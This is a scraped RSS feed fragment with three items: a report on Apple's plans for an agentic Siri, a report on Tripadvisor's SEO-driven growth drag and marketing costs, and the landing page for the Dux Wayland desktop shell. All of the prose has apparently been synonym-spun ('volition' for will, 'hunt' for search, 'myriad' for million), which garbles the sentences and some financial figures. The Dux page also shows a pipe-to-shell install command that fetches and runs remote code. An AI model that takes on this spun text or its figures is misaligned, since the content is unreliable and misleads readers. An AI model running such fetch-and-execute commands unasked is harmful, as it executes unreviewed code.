Federighi to accelerate the Siri roadmap and provision a mighty AI delegate that can compe...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0%2C10.727837220746%2C100%2C78.544325558509&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/apple-is-racing-to-make-siri-more-agentic-76194</link> <content:encoded><![CDATA[<div><p><a href="https://en.mycoding.id/category/technology" target="_blank"><span>Skip to chief content</span></a></p><div><div class=""><div><div><div><div><div class=""><p>Future versions of Siri volition be capable to authority third-party apps and execute additional complex tasks.</p></div></div></div><div><div><p>Future versions of Siri volition be capable to authority third-party apps and execute additional complex tasks.</p><div><div><div><p><span class=""><span>by</span> <span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span id="follow-author-author_byline_lead-dmcyOmF1dGhvclByb2ZpbGU6NjA5MzU0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span></span><span>Terrence O'Brien</span></span></span></span></p><p><span>Nov 8, 2026, 7:18 PM UTC</span></p></div></div></div></div><div><div><div><div><p><img alt="Siri AI Being invoked-3" data-chromatic="ignore" decoding="async" data-nimg="fill" sizes=" 768px) 100vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=2400"></p><p><img alt="Siri AI Being invoked-3" data-chromatic="ignore" decoding="async" data-nimg="fill" sizes=" 768px) 100vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/07/Siri-AI-Being-invoked-3.jpg?quality=90&amp;strip=all&amp;crop=0.0065530799475724%2C0%2C99.986893840105%2C100&amp;w=2400"></p></div><p><cite>Photo: David Imel / The Verge</cite></p></div></div></div></div></div></div><div><div><div><div><div><div><div><p><a href="https://en.mycoding.id/category/technology" target="_blank"><img alt="Terrence O&#039;Brien" data-chromatic="ignore" loading="lazy" width="36" height="36" decoding="async" data-nimg="1" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2025/02/TERRENCE_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=48 1x, https://platform.theverge.com/wp-content/uploads/sites/2/2025/02/TERRENCE_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96 2x" src="https://platform.theverge.com/wp-content/uploads/sites/2/2025/02/TERRENCE_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96"></a></p><div><p><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span id="follow-author-standard_article_details-dmcyOmF1dGhvclByb2ZpbGU6NjA5MzU0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span></span><span>Terrence O'Brien</span></span></span></p> <p><span>is the Verge&rsquo;s weekend editor. He&rsquo;s covered the tech industry for complete 18 years and knows a item or two concerning synths.</span></p></div></div></div></div></div><div id="zephr-anchor"><p><em>Bloomberg&rsquo;s</em> Mark Gurman says CEO John Ternus is pressuring AI czar Craig Federighi to <a href="https://en.mycoding.id/category/technology" target="_blank">accelerate the Siri roadmap</a> and provision a mighty AI delegate that can vie alongside OpenAI&rsquo;s Dots or Meta&rsquo;s Muse. While Federighi has delivered a functional type of Siri AI on an incredibly abbreviated timeline, the business has no illusions that it&rsquo;s keeping gait alongside its rivals.</p><p>Two important improvements are expected to be made to Siri in the coming months. One volition provision the aide fine-grained authority complete Apple&rsquo;s first-party apps, allowing it to do things akin rotate and crop images in Photos and arrange Safari tabs. Those capabilities are expected to district alongside iOS 27.3. The bigger change, integration alongside third-party apps, is apt to district later, in the Spring, according to Gurman. That would let Siri location an command through Grubhub or publish a meal booking through OpenTable, for example.</p><p>But that&rsquo;s fair the start. Apple is expected to shove Siri to rotate into additional agentic and allow features that volition authorize it to execute ongoing tasks, not fair one-offs. Gurman says:</p><div><blockquote><p>Dots, Muse and Grok can keep track of goals, decide what needs to happen next and continue following objectives without the person initiating all idiosyncratic step. Apple ultimately wants to go in this direction, I&rsquo;m told, and I accept the business could create Siri additional akin an delegate as first as next twelvemonth &mdash; not that it has much of a choice, stated current person and market demands.</p></blockquote></div><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6NjA5MzU0"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Terrence O'Brien</span></span></span></li><li><li><li><li><li></ul></div></div></div><div><div><div><div><div><h2>The Verge Daily</h2><p><span>A liberated regular digest of the news that matters most.</span></p></div></div></div></div></div></div></div></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/apple-is-racing-to-make-siri-more-agentic-76194</guid> <pubDate>Sun, 08 Nov 2026 20:18:19 +0700</pubDate> <author><![CDATA[support@mycoding.id (Terrence O’brien)]]></author> </item> <item> <title><![CDATA[Tripadvisor Says SEO Will Still Weigh On Growth In 2027]]></title> <description><![CDATA[Tripadvisor Says SEO Will Still Weigh On Growth In 2027. Tripadvisor tied a writedown mostly to hunt changes, expects SEO to measure on growth next year, and says promotion takes additional of its revenue. The article Tripadv...]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/tripadvisor-says-seo-will-still-weigh-on-growth-in-2027-76200</link> <content:encoded><![CDATA[<div class="sej-article-content gototop-pos "> <div class="sss2_sllo_o6"> </div> <div id="narrow-cont"><p>Tripadvisor recorded a $369.5 myriad writedown on its bequest hotels and promotion endeavor in the third quarter, and its CFO stated on the <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">earnings call</a> that SEO volition motionless be a headwind to growth in 2027.</p> <p>The non-cash goodwill impairment hit the Hotels and Other segment, which includes inn metasearch and media advertising, according to the company’s <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">third-quarter earnings release</a>. The publish says it was driven mostly by traffic headwinds that have accelerated complete multiple periods since of “changes in the hunt landscape.” Segment income cut 23% to $151.6 myriad for the quarter.</p> <p>During the call, expert Ross Sandler at Barclays wanted to cognize how near Tripadvisor’s center brand is to Google Zero, a term used to depict a website receiving zero integrated traffic via Google. In response, CFO Mike Noonan stated Tripadvisor’s SEO visibility is in the “mid to elevated teens,” downward meaningfully versus a twelvemonth ago, but did not provision specifics on what total it is a percent of.</p><div id="summita-wrapa_112" class="middle_p_txt"></div> <p>Marketing is additionally taking a larger portion of revenue, which Tripadvisor ties to its move from liberated hunt traffic to paid channels.</p> <h2>What Tripadvisor Said When Asked About Google Zero</h2> <p>Sandler suggested Viator, Tripadvisor’s experiences booking site, has small SEO exposure. Noonan accepted and stated the visibility comes mostly through the bequest Tripadvisor brand.</p> <p>SEO volition motionless be a headwind in 2027, Noonan said, and he expects it to commencement to comfort according to current trends in the channel. He stated the eventual tailwind to growth would arrive whenever the business can “mechanically get out of that headwind.”</p><div data-total="6" id="SEJ_300x250_UnderPost_2-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="1" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_2" id="SEJ_300x250_UnderPost_2" class="sadslots"> </div> </div> </div> </div> <p>In August, he estimated the SEO drag on the Experiences section at about 5 percent points of bookings growth. He stated in the <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">second-quarter prepared remarks</a> that the drag continues to average “as SEO becomes a smaller portion of general bookings mix.” In the <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">third-quarter remarks</a>, he put it at an approximate 3% growth headwind to section bookings.</p> <p>Experiences bookings grew 2% in the quarter. Bookings on Viator rosy 4%, during bookings through Tripadvisor’s own location cut by a low-teens percentage.</p> <h2>Marketing Costs And The Move To Paid Channels</h2> <p>Marketing took 48.8% of Tripadvisor’s income from continuing operations in the third quarter, up from 43.3% a twelvemonth earlier. Those figures exclude TheFork, which Tripadvisor has sold. Spending was approximately flat in dollars at $213.0 myriad during income cut 11% to $436.4 million.</p> <p>Noonan attributed the addition to an ongoing move from liberated to paid channels caused by persistent SEO headwinds, mostly in Hotels and Other and on Tripadvisor’s own site.</p><div data-total="6" id="SEJ_300x250_UnderPost_3-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="2" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_3" id="SEJ_300x250_UnderPost_3" class="sadslots"> </div> </div> </div> </div> <p>He stated the SEM conduit saw a decrease in accessible clicks in August, which coincided alongside a planned move of expend to newer, small scaled paid channels. On the call, he suggested several of that decrease could be tied to macroeconomic conditions.</p> <p>CEO Matt Goldberg stated SEM has been Tripadvisor’s largest promotion conduit and that “the auctions have certainly rotate into additional competitive,” alongside several SEM expend now small efficient. Noonan described Viator’s paid hunt effectiveness as decent twelvemonth complete year.</p> <p>In August, the CEO stated the business was finding ways to dispersed spending beyond paid hunt as additional travelers discover experiences on social and another mid-funnel channels.</p> <h2>What Tripadvisor Says About AI Citations</h2> <p>In the prepared remarks, Goldberg stated Viator is operating alongside a figure of AI platforms (including Anthropic, OpenAI, Gemini and Meta Muse) and that quantity is low. He added that MCP partner integrations create conversions to bookings at better-than-average rates as fine as higher booking values, and that Tripadvisor’s brands “lead in portion of citations for experiences prompts,” but did not provision data on the call concerning the way this portion was calculated.</p><div data-total="6" id="SEJ_300x250_UnderPost_4-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="3" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_4" id="SEJ_300x250_UnderPost_4" class="sadslots"> </div> </div> </div> </div> <p>On the call, he stated AI is likely under 1% of Tripadvisor’s general traffic but is ramping. He thinks AI traffic converts at near to five times the average on Viator and concerning twice the average on Tripadvisor.</p> <p>According to Goldberg, distinctive contributors have held stable or declined lone slightly so far this year, notwithstanding double-digit drops in traffic. In his view, inn and online journey agency partners, alongside alongside LLMs, value the satisfied these contributors create as leads, licensed content, or AEO citations.</p> <h2>Why This Matters</h2> <p>Tripadvisor has stated it is seeing small of an SEO drag on bookings now that SEO represents a smaller part of its general business. Marketing represented about 5.5 percent points additional of income in the third fourth compared to the identical duration final year, which the business attributes to the passage from liberated to paid channels.</p> <p>In May I posted that Condé Nast’s CEO was <a href="https://en.mycoding.id/category/business" target="_blank">instructing his teams to scheme for zero hunt traffic</a>. On Oct. 29, Reddit <a href="https://en.mycoding.id/category/business" target="_blank">announced that its hunt referrals declined</a> by complete 1 myriad per week on average in October. Tripadvisor has added its CFO’s prediction that the SEO headwind volition continue into 2027, alongside alongside a promotion metric a preparedness squad can use to difference internally.</p> <h2>Looking Ahead</h2> <p>Goldberg volition continue as CEO until the center of February during the commission plant alongside a hunt resolute to acknowledge his replacement, and CFO Mike Noonan volition depart at the end of the year. Kristen Dalton, caput of scheme and operations for Tripadvisor, volition rotate into interim CFO productive Jan. 1. Tripadvisor stated its portfolio review, which includes deliberation of strategic alternatives, continues.</p> <p>Tripadvisor estimates Experiences’ adjusted EBITDA in the fourth fourth to be about break-even, during continuing to allocate in newer paid channels. In all of its Q2 and Q3 comments, the business cited an evaluation of the SEO effect to Experiences. A third evaluation in the next study would display whether the drag is motionless shrinking from concerning 3%.</p> <p><em>Featured Image: JHVEPhoto/Shutterstock</em></p> </div> <div id="bcats" class="bottom-cat narrow-cont"> <span class="sej-category boxed cat-label">Category</span> <a href="https://en.mycoding.id/category/business" target="_blank">News</a> <a href="https://en.mycoding.id/category/business" target="_blank">SEO</a> </div> <div class="sej-above-author-widget"> <div class="sej-widget clearfix"> <div class="sej-badge-box"> <a href="https://en.mycoding.id/category/business" target="_blank" data-placement="Under Article" aria-label="Add Search Engine Journal as a preferred origin on Google"> <svg class="sej-gps-g" viewbox="0 0 48 48" aria-hidden="true" focusable="false"> <path fill="#EA4335" d="M24 9.5c3.54 0 6.71 1.22 9.21 3.6l6.85-6.85C35.9 2.38 30.47 0 24 0 14.62 0 6.51 5.38 2.56 13.22l7.98 6.19C12.43 13.72 17.74 9.5 24 9.5z"></path> <path fill="#4285F4" d="M46.98 24.55c0-1.57-.15-3.09-.38-4.55H24v9.02h12.94c-.58 2.96-2.26 5.48-4.78 7.18l7.73 6c4.51-4.18 7.09-10.36 7.09-17.65z"></path> <path fill="#FBBC05" d="M10.53 28.59c-.48-1.45-.76-2.99-.76-4.59s.27-3.14.76-4.59l-7.98-6.19C.92 16.46 0 20.12 0 24c0 3.88.92 7.54 2.56 10.78l7.97-6.19z"></path> <path fill="#34A853" d="M24 48c6.48 0 11.93-2.13 15.89-5.81l-7.73-6c-2.15 1.45-4.92 2.3-8.16 2.3-6.26 0-11.57-4.22-13.47-9.91l-7.98 6.19C6.51 42.62 14.62 48 24 48z"></path> </svg> <span class="sej-gps-text">Add <b>SEJ</b> as a preferred origin on Google</span> </a> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/tripadvisor-says-seo-will-still-weigh-on-growth-in-2027-76200</guid> <pubDate>Sun, 08 Nov 2026 20:09:13 +0700</pubDate> <author><![CDATA[support@mycoding.id (Matt G. Southern)]]></author> </item> <item> <title><![CDATA[Dux: Free, open-source Wayland desktop shell with file manager and theming]]></title> <description><![CDATA[Dux: Free, open-source Wayland desktop shell with file manager and theming. Comments]]></description> <media:thumbnail url="https://duxlabs.dev/preview-images/8695bf88f0423ca0736bf25344b0082cffedcca7.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/dux-free-open-source-wayland-desktop-shell-with-file-manager-and-theming-76197</link> <content:encoded><![CDATA[<div role="banner"><p><b>DMS 2.1 Stormborn.</b> <span>New scheme monitor, video wallpapers, revamped media player, interface density, many dux records enhancements, and more.</span> <a href="https://en.mycoding.id/category/technology" target="_blank">Read the announcement</a></p></div><div id="__docusaurus_skipToContent_fallback"><div><div><div><div><div role="button" tabindex="0" aria-label="//install.duxlabs.dev | sh"><div><p><span>&#10095;</span><span></span><span>&#9608;</span></p><p><span>&rarr; Detecting distribution...</span></p><p><span>&#10003; Installing dependencies</span></p><p><span>&#10003; Configuring Dux Modular Shell</span></p><p><span>&#10003; Ready to rock!</span></p></div></div></div></div><div><div><div><h3>Dux Modular Shell in Action</h3><p>Experience the fluid interface and beautiful animations</p></div></div><div><p><img src="https://duxlabs.dev/img/homepage/dankdash_dark.webp" alt="Dux Dash - Overview Dashboard" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/homepage/dankdash_light.webp" alt="Dux Dash - Overview Dashboard" loading="lazy" decoding="async" data-zoom="true"></p><div><h3>Dux Dash</h3><p>Media controls, weather, calendar, and scheme info at a glance</p></div></div><div><p><img src="https://duxlabs.dev/img/homepage/controlcenter_dark.webp" alt="Quick Settings" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/homepage/controlcenter_light.webp" alt="Quick Settings" loading="lazy" decoding="async" data-zoom="true"></p><div><h3>Quick Settings</h3><p>Effortlessly authority your audio, displays, network, and bluetooth</p></div></div><div><p><img src="https://duxlabs.dev/img/homepage/widget_dark.webp" alt="Widget Customization" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/homepage/widget_light.webp" alt="Widget Customization" loading="lazy" decoding="async" data-zoom="true"></p><div><h3>Widget Customization</h3><p>Personalize your desktop experience</p></div></div><div><p><img src="https://duxlabs.dev/img/homepage/plugins_dark.webp" alt="Plugins" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/homepage/plugins_light.webp" alt="Plugins" loading="lazy" decoding="async" data-zoom="true"></p><div><h3>Plugins</h3><p>Extend functionality alongside new widgets, launcher features, and more.</p></div></div></div><div><div><p><img src="https://duxlabs.dev/img/desktop.webp" alt="Dux Modular Shell" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/desktoplight.webp" alt="Dux Modular Shell" loading="lazy" decoding="async" data-zoom="true"></p><h3><a href="https://en.mycoding.id/category/technology" target="_blank">Dux Modular Shell<span aria-hidden="true"> &#8599;</span></a></h3><p>A contemporary and beautiful desktop casing alongside energetic theming and gentle animations.</p></div><div><p><img src="https://duxlabs.dev/img/dfiles.webp" alt="Dux Files" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/dfileslight.webp" alt="Dux Files" loading="lazy" decoding="async" data-zoom="true"></p><h3><a href="https://en.mycoding.id/category/technology" target="_blank">Dux Files<span aria-hidden="true"> &#8599;</span></a></h3><p>A fast, keyboard-first document director alongside tabs, divided view, search, trash, devices, and network shares.</p></div><div><p><img src="https://duxlabs.dev/img/dgop.webp" alt="Dux GOP" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/dgoplight.webp" alt="Dux GOP" loading="lazy" decoding="async" data-zoom="true"></p><h3><a href="https://en.mycoding.id/category/technology" target="_blank">Dux GOP<span aria-hidden="true"> &#8599;</span></a></h3><p>Stateless scheme and procedure monitoring for CPU, memory, GPU, disks, and network interfaces.</p></div><div><p><img src="https://duxlabs.dev/img/dgreet.webp" alt="Dux Greeter" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/dgreetlight.webp" alt="Dux Greeter" loading="lazy" decoding="async" data-zoom="true"></p><h3><a href="https://en.mycoding.id/category/technology" target="_blank">Dux Greeter<span aria-hidden="true"> &#8599;</span></a></h3><p>An aesthetically pleasing greetd greeter for your desktop.</p></div><div><p><img src="https://duxlabs.dev/img/dsearch.webp" alt="Dux Search" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/dsearchlight.webp" alt="Dux Search" loading="lazy" decoding="async" data-zoom="true"></p><h3><a href="https://en.mycoding.id/category/technology" target="_blank">Dux Search<span aria-hidden="true"> &#8599;</span></a></h3><p>Blazingly accelerated and productive document scheme hunt tool.</p></div><div><p><img src="https://duxlabs.dev/img/dms/dcal_dark.webp" alt="Dux Calendar" loading="lazy" decoding="async" data-zoom="true"><img src="https://duxlabs.dev/img/dms/dcal_light.webp" alt="Dux Calendar" loading="lazy" decoding="async" data-zoom="true"></p><h3><a href="https://en.mycoding.id/category/technology" target="_blank">Dux Calendar<span aria-hidden="true"> &#8599;</span></a></h3><p>Your calendars, events, and tasks together, alongside Google, Microsoft, CalDAV, and iCloud support.</p></div></div><div><div><h2>One theme.<br><span>Across your apps.</span></h2><p>Dux Modular Shell automatically generates matching colors for supported GTK and Qt apps, terminals, editors, and more.</p><p>Our tradition <a href="https://en.mycoding.id/category/technology" target="_blank">dank16</a> algorithm builds a complete 16-color palette for terminals and syntax highlighting, alongside difference tuned for ray and dreary themes.</p><ul><li><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 -960 960 960" width="20" height="20" fill="currentColor" aria-hidden="true"><path d="m382-354 339-339q12-12 28-12t28 12 12 28.5-12 28.5L410-268q-12 12-28 12t-28-12L182-440q-12-12-11.5-28.5T183-497t28.5-12 28.5 12z"></path></svg><span>GTK3, GTK4, and Qt</span></li><li><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 -960 960 960" width="20" height="20" fill="currentColor" aria-hidden="true"><path d="m382-354 339-339q12-12 28-12t28 12 12 28.5-12 28.5L410-268q-12 12-28 12t-28-12L182-440q-12-12-11.5-28.5T183-497t28.5-12 28.5 12z"></path></svg><span>Terminal and publishing company color schemes</span></li><li><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 -960 960 960" width="20" height="20" fill="currentColor" aria-hidden="true"><path d="m382-354 339-339q12-12 28-12t28 12 12 28.5-12 28.5L410-268q-12 12-28 12t-28-12L182-440q-12-12-11.5-28.5T183-497t28.5-12 28.5 12z"></path></svg><span>Light and dreary modes</span></li></ul><p><a href="https://en.mycoding.id/category/technology" target="_blank">Set up app theming <span aria-hidden="true">&#8599;</span></a></p></div><figure><div role="img" aria-label="Editor and terminal example alongside matching DMS-generated syntax colors. The preview follows the site’s ray or dreary theme."><div aria-hidden="true"><svg viewbox="0 0 320 320" overflow="visible" aria-hidden="true" focusable="false"><path d="M0.5 0.1703C0.50579 0.16143 0.51157 0.15255 0.51736 0.14368C0.53398 0.11819 0.56939 0.10244 0.60752 0.10357C0.64526 0.10469 0.679 0.12137 0.69494 0.14678C0.69744 0.15077 0.69994 0.15476 0.70244 0.15874C0.71121 0.17273 0.71656 0.18777 0.71823 0.20314C0.71905 0.21064 0.71986 0.21813 0.72068 0.22562C0.7465 0.18172 0.8245 0.17182 0.86852 0.20687C0.86954 0.20768 0.87055 0.20848 0.87156 0.20929C0.89746 0.22991 0.91329 0.25637 0.91654 0.28445C0.91679 0.28663 0.91704 0.28882 0.91729 0.291C0.92125 0.32529 0.90746 0.35941 0.87873 0.38641C0.88077 0.38636 0.8828 0.38631 0.88484 0.38626C0.91754 0.38544 0.94851 0.39713 0.96686 0.41723C0.98846 0.44089 1 0.46881 1 0.49738C1 0.49913 1 0.50087 1 0.50262C1 0.53119 0.98846 0.55911 0.96686 0.58277C0.94851 0.60287 0.91754 0.61456 0.88484 0.61374C0.8828 0.61369 0.88077 0.61364 0.87873 0.61359C0.90746 0.64059 0.92125 0.67471 0.91729 0.709C0.91704 0.71118 0.91679 0.71337 0.91654 0.71555C0.91329 0.74363 0.89746 0.77009 0.87156 0.79071C0.87055 0.79152 0.86954 0.79232 0.86852 0.79313C0.8245 0.82818 0.7465 0.81828 0.72068 0.77438C0.71986 0.78187 0.71905 0.78936 0.71823 0.79686C0.71656 0.81223 0.71121 0.82727 0.70244 0.84126C0.69994 0.84524 0.69744 0.84923 0.69494 0.85322C0.679 0.87863 0.64526 0.89531 0.60752 0.89643C0.56939 0.89756 0.53398 0.88181 0.51736 0.85632C0.51157 0.84745 0.50579 0.83857 0.5 0.8297C0.49421 0.83857 0.48843 0.84745 0.48264 0.85632C0.46602 0.88181 0.43061 0.89756 0.39248 0.89643C0.35474 0.89531 0.321 0.87863 0.30506 0.85322C0.30256 0.84923 0.30006 0.84524 0.29756 0.84126C0.28879 0.82727 0.28344 0.81223 0.28177 0.79686C0.28095 0.78936 0.28014 0.78187 0.27932 0.77438C0.2535 0.81828 0.1755 0.82818 0.13148 0.79313C0.13046 0.79232 0.12945 0.79152 0.12844 0.79071C0.10254 0.77009 0.08671 0.74363 0.08346 0.71555C0.08321 0.71337 0.08296 0.71118 0.08271 0.709C0.07875 0.67471 0.09254 0.64059 0.12127 0.61359C0.11923 0.61364 0.1172 0.61369 0.11516 0.61374C0.08246 0.61456 0.05149 0.60287 0.03314 0.58277C0.01154 0.55911 0 0.53119 0 0.50262C0 0.50087 0 0.49913 0 0.49738C0 0.46881 0.01154 0.44089 0.03314 0.41723C0.05149 0.39713 0.08246 0.38544 0.11516 0.38626C0.1172 0.38631 0.11923 0.38636 0.12127 0.38641C0.09254 0.35941 0.07875 0.32529 